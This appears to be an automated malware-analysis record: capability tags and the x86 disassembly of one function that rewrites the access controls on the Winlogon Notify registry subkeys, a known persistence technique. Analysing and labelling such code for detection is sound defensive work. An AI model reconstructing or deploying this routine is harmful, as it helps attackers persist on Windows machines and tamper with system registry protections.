Function at 0x4011c0
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x250
push ebx
push ebp
push edi
xor ebx, ebx
push 1
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], bl
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], 5
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 3
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
xor ebp, ebp
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
lea eax, [esp + 0x20]
push 1
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_InitializeSid]
mov edx, dword [esp + 0x264]
mov eax, dword [esp + 0x260]
lea ecx, [esp + 0x1c]
push ecx
push 0x40000
push ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40157e
lea ecx, [esp + 0x18]
push esi
push ecx
push ebx
push ebx
mov esi, dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea edx, [esp + 0x34]
push 2
push edx
call esi
test eax, eax
je 0x401547
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
push ecx
call esi
test eax, eax
je 0x401547
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x223
push 0x20
push 2
push eax
call esi
test eax, eax
je 0x401547
lea ecx, [esp + 0x30]
lea edx, [esp + 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x221
push 0x20
push 2
push edx
call esi
test eax, eax
je 0x401547
mov esi, dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push edi
call esi
mov ebp, eax
mov eax, dword [esp + 0x30]
push eax
call esi
mov ecx, dword [esp + 0x2c]
add ebp, eax
push ecx
call esi
mov edx, dword [esp + 0x18]
add ebp, eax
push edx
call esi
add ebp, eax
mov eax, dword [esp + 0x18]
push eax
call esi
mov ecx, dword [esp + 0x18]
add ebp, eax
push ecx
call esi
mov edx, dword [esp + 0x1c]
add ebp, eax
push edx
call esi
lea esi, [eax + ebp + 0x18]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
cmp ebp, ebx
je 0x401547
push 2
push esi
push ebp
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x401547
mov eax, dword [esp + 0x2c]
mov esi, dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAceEx]
push eax
push 0xf003f
push 3
push 2
push ebp
call esi
test eax, eax
je 0x401547
push edi
push 0xf003f
push 3
push 2
push ebp
call esi
test eax, eax
je 0x401547
mov ecx, dword [esp + 0x1c]
push ecx
push 0xf003f
push 3
push 2
push ebp
call esi
test eax, eax
je 0x401547
mov edx, dword [esp + 0x30]
push edx
push 0xf003f
push 3
push 2
push ebp
call esi
test eax, eax
je 0x401547
mov eax, dword [esp + 0x18]
push eax
push 0xf003f
push 3
push 2
push ebp
call esi
test eax, eax
je 0x401547
lea ecx, [esp + 0x44]
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x401547
push ebx
push ebp
lea edx, [esp + 0x4c]
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x401547
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x44]
push eax
push 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
test eax, eax
jne 0x401547
push ebx
push ebx
mov ecx, dword [esp + 0x28]
push ebx
push ebx
push ebx
lea edx, [esp + 0x4c]
push ebx
lea eax, [esp + 0x58]
push edx
push eax
push ebx
push ebx
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x401547
mov eax, dword [esp + 0x40]
mov dword [esp + 0x34], ebx
cmp eax, ebx
jbe 0x401547
mov ecx, dword [esp + 0x34]
push ebx
push ebx
push ebx
lea edx, [esp + 0x44]
push ebx
lea eax, [esp + 0x16c]
push edx
mov edx, dword [esp + 0x34]
push eax
push ecx
push edx
mov dword [esp + 0x58], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
or ecx, 0xffffffff
mov edi, 0x408f04
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x58]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotify_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x58]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x15c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x3c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x40000
lea ecx, [esp + 0x60]
push ebx
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401532
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x44]
push edx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov ecx, dword [esp + 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x40]
inc eax
cmp eax, ecx
mov dword [esp + 0x34], eax
jb 0x401451
mov edx, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
push 0x80000002
call esi
cmp ebp, ebx
pop esi
je 0x40156f
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x40157e
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x250
ret